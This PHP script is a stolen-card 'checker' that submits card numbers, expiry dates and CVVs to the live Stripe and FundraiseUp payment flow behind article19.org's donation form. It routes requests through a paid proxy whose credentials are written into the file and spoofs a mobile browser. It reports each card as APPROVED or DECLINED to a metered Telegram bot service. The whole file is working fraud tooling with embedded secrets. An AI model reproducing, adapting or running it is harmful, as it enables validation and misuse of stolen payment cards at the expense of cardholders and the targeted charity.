<?php
// Stripe + FundraiseUp Payment Checker (article19.org)
// 2-Step Flow: Create Payment Method → Process Payment

header('Content-Type: text/plain; charset=utf-8');

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT stripegenellimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['stripegenellimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET stripegenellimit = stripegenellimit - 1 WHERE chatid = :chatid AND stripegenellimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Check parameters
if (!isset($_GET['card']) || !isset($_GET['chatid'])) {
    echo "ERROR: Missing parameters\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID\n";
    exit;
}

$chatid = $_GET['chatid'];

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    echo "ERROR: Insufficient limits (Available: {$currentLimit})\n";
    exit;
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

// Get parameters
$card = $_GET['card'];
$session_id = $_GET['session'] ?? '1008201197104035734'; // Default session ID
$debug = $_GET['debug'] ?? '0';

// Proxy configuration
$proxy = 'rp.scrapegw.com:6060';
$proxy_auth = 'ccb7t99f1xa6q6v:e88zmabjie6wuek';

// Start time
$startTime = microtime(true);

// Parse card
$parts = explode('|', $card);
if (count($parts) != 4) {
    echo "ERROR: Invalid card format\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV\n";
    exit;
}

list($cc, $month, $year, $cvv) = $parts;

// Format month
if (strlen($month) == 1) {
    $month = '0' . $month;
}

// Format year
if (strlen($year) == 2) {
    $year = '20' . $year;
    $full_year = (int)$year;
} elseif (strlen($year) == 4) {
    $full_year = (int)$year;
    $year = substr($year, 2, 2); // For Stripe API
} else {
    echo "ERROR: Invalid year format\n";
    exit;
}

// Generate unique identifiers
$guid = sprintf('%s-%s-%s-%s-%sd0c0b2',
    bin2hex(random_bytes(4)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(6))
);

$muid = sprintf('%s-%s-%s-%s-%s1c1dfa',
    bin2hex(random_bytes(4)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(6))
);

$sid = sprintf('%s-%s-%s-%s-%s8828f2',
    bin2hex(random_bytes(4)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(2)),
    bin2hex(random_bytes(6))
);

// STEP 1: Create Payment Method (Stripe)
$step1_url = 'https://api.stripe.com/v1/payment_methods';

$step1_headers = [
    'authority: api.stripe.com',
    'accept: application/json',
    'accept-language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
    'content-type: application/x-www-form-urlencoded',
    'origin: https://js.stripe.com',
    'referer: https://js.stripe.com/',
    'sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"',
    'sec-ch-ua-mobile: ?1',
    'sec-ch-ua-platform: "Android"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: same-site',
    'user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chr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DQIGzlXUGIBdOIrclog0';

// Build POST data (x-www-form-urlencoded)
$step1_data = http_build_query([
    'type' => 'card',
    'card[number]' => $cc,
    'card[cvc]' => $cvv,
    'card[exp_month]' => (int)$month,
    'card[exp_year]' => $year,
    'guid' => $guid,
    'muid' => $muid,
    'sid' => $sid,
    'payment_user_agent' => 'stripe.js/235f1076ab; stripe-js-v3/235f1076ab; split-card-element',
    'referrer' => 'https://www.article19.org',
    'time_on_page' => '98289',
    'client_attribution_metadata[client_session_id]' => '1ecd112c-14fd-4272-881f-87f3877b93e1',
    'client_attribution_metadata[merchant_integration_source]' => 'elements',
    'client_attribution_metadata[merchant_integration_subtype]' => 'split-card-element',
    'client_attribution_metadata[merchant_integration_version]' => '2017',
    'key' => 'pk_live_9RzCojmneCvL31GhYTknluXp',
    '_stripe_account' => 'acct_1IZIyBDZPV8GaujH',
    '_stripe_version' => '2025-02-24.acacia',
    'radar_options[hcaptcha_token]' => $hcaptcha_token
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $step1_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $step1_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $step1_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);

$step1_response = curl_exec($ch);
$step1_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$step1_curl_error = curl_error($ch);
curl_close($ch);

$step1_json = json_decode($step1_response, true);

// Debug mode 1: Show Step 1 response
if ($debug == '1') {
    echo json_encode([
        'step' => 1,
        'url' => $step1_url,
        'http_code' => $step1_http_code,
        'curl_error' => $step1_curl_error ?: null,
        'request_data' => [
            'card_number' => substr($cc, 0, 6) . '...' . substr($cc, -4),
            'exp_month' => (int)$month,
            'exp_year' => $year,
            'cvv' => str_repeat('*', strlen($cvv)),
            'guid' => $guid,
            'muid' => $muid,
            'sid' => $sid
        ],
        'response_raw' => $step1_response,
        'response_decoded' => $step1_json
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit;
}

// Calculate duration
$endTime = microtime(true);
$duration = round($endTime - $startTime, 2);

// Get remaining limit
$remainingLimit = getCurrentLimit($chatid);

// Check for errors
if (isset($step1_json['error'])) {
    $error_msg = $step1_json['error']['message'] ?? 'Payment method creation failed';
    $error_code = $step1_json['error']['code'] ?? 'unknown';
    
    // Handle common Stripe errors
    if (strpos($error_code, 'incorrect_number') !== false || strpos($error_msg, 'incorrect') !== false) {
        echo "❌Incorrect Number | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    } elseif (strpos($error_code, 'expired_card') !== false) {
        echo "❌Expired Card | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    } else {
        echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    }
    exit;
}

if (!isset($step1_json['id'])) {
    echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$payment_method_id = $step1_json['id'];

// STEP 2: Process Payment (FundraiseUp)
$step2_url = 'https://api.fundraiseup.com/paymentSession/' . $session_id . '/pay';

$step2_headers = [
    'authority: api.fundraiseup.com',
    'accept: */*',
    'accept-language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
    'content-type: text/plain; charset=utf-8',
    'origin: https://www.article19.org',
    'referer: https://www.article19.org/donate/?form=donate',
    'sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"',
    'sec-ch-ua-mobile: ?1',
    'sec-ch-ua-platform: "Android"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: cross-site',
    'user-agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36',
    'x-fru-embed-version: 251203-1110'
];

// Build payment data matching Python structure
$step2_data = [
    'paymentMethod' => [
        'id' => $payment_method_id,
        'object' => 'payment_method',
        'allow_redisplay' => 'unspecified',
        'billing_details' => [
            'address' => [
                'city' => null,
                'country' => null,
                'line1' => null,
                'line2' => null,
                'postal_code' => null,
                'state' => null
            ],
            'email' => null,
            'name' => null,
            'phone' => null,
            'tax_id' => null
        ],
        'card' => [
            'brand' => $step1_json['card']['brand'] ?? 'unknown',
            'brand_product' => null,
            'checks' => [
                'address_line1_check' => null,
                'address_postal_code_check' => null,
                'cvc_check' => null
            ],
            'country' => $step1_json['card']['country'] ?? 'US',
            'display_brand' => $step1_json['card']['display_brand'] ?? 'unknown',
            'exp_month' => (int)$month,
            'exp_year' => $full_year,
            'funding' => $step1_json['card']['funding'] ?? 'unknown',
            'generated_from' => null,
            'last4' => substr($cc, -4),
            'networks' => [
                'available' => $step1_json['card']['networks']['available'] ?? [],
                'preferred' => null
            ],
            'regulated_status' => $step1_json['card']['regulated_status'] ?? 'unregulated',
            'three_d_secure_usage' => [
                'supported' => true
            ],
            'wallet' => null
        ],
        'created' => $step1_json['created'] ?? time(),
        'customer' => null,
        'livemode' => true,
        'radar_options' => new stdClass(),
        'type' => 'card'
    ]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $step2_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($step2_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $step2_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);

$step2_response = curl_exec($ch);
$step2_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$step2_curl_error = curl_error($ch);
$step2_info = curl_getinfo($ch);
curl_close($ch);

$step2_json = json_decode($step2_response, true);

// Debug mode 2: Show Step 2 response
if ($debug == '2') {
    echo json_encode([
        'step' => 2,
        'url' => $step2_url,
        'http_code' => $step2_http_code,
        'curl_error' => $step2_curl_error ?: null,
        'request_headers' => $step2_headers,
        'request_data' => $step2_data,
        'response_raw' => $step2_response,
        'response_decoded' => $step2_json,
        'curl_info' => [
            'total_time' => $step2_info['total_time'],
            'namelookup_time' => $step2_info['namelookup_time'],
            'connect_time' => $step2_info['connect_time'],
            'pretransfer_time' => $step2_info['pretransfer_time'],
            'starttransfer_time' => $step2_info['starttransfer_time'],
            'redirect_count' => $step2_info['redirect_count'],
            'size_download' => $step2_info['size_download']
        ]
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
    exit;
}

// Calculate duration
$endTime = microtime(true);
$duration = round($endTime - $startTime, 2);

// Get remaining limit
$remainingLimit = getCurrentLimit($chatid);

// Parse response
$status = 'unknown';
$message = 'Unknown response';

// Check for HTTP errors
if ($step2_http_code == 429) {
    echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

// Check for direct message field (FundraiseUp response)
if (isset($step2_json['message'])) {
    $msg_lower = strtolower($step2_json['message']);
    
    if (strpos($msg_lower, 'declined') !== false || strpos($msg_lower, 'rejected') !== false) {
        echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    } elseif (strpos($msg_lower, 'insufficient') !== false) {
        echo "✅APPROVED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    }
}

// Check for status field
if (isset($step2_json['status'])) {
    $status_code = $step2_json['status'];
    
    if ($status_code === 'succeeded' || $status_code === 'success') {
        echo "✅APPROVED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    } elseif ($status_code === 'failed' || $status_code === 'declined') {
        echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    } elseif ($status_code === 'requires_action' || $status_code === 'pending') {
        echo "✅APPROVED 3DS | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    }
}

// Check for error field
if (isset($step2_json['error'])) {
    echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

// Unknown response
echo "❌DECLINED | {$cc}|{$month}|{$year}|{$cvv} ({$duration}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
?>
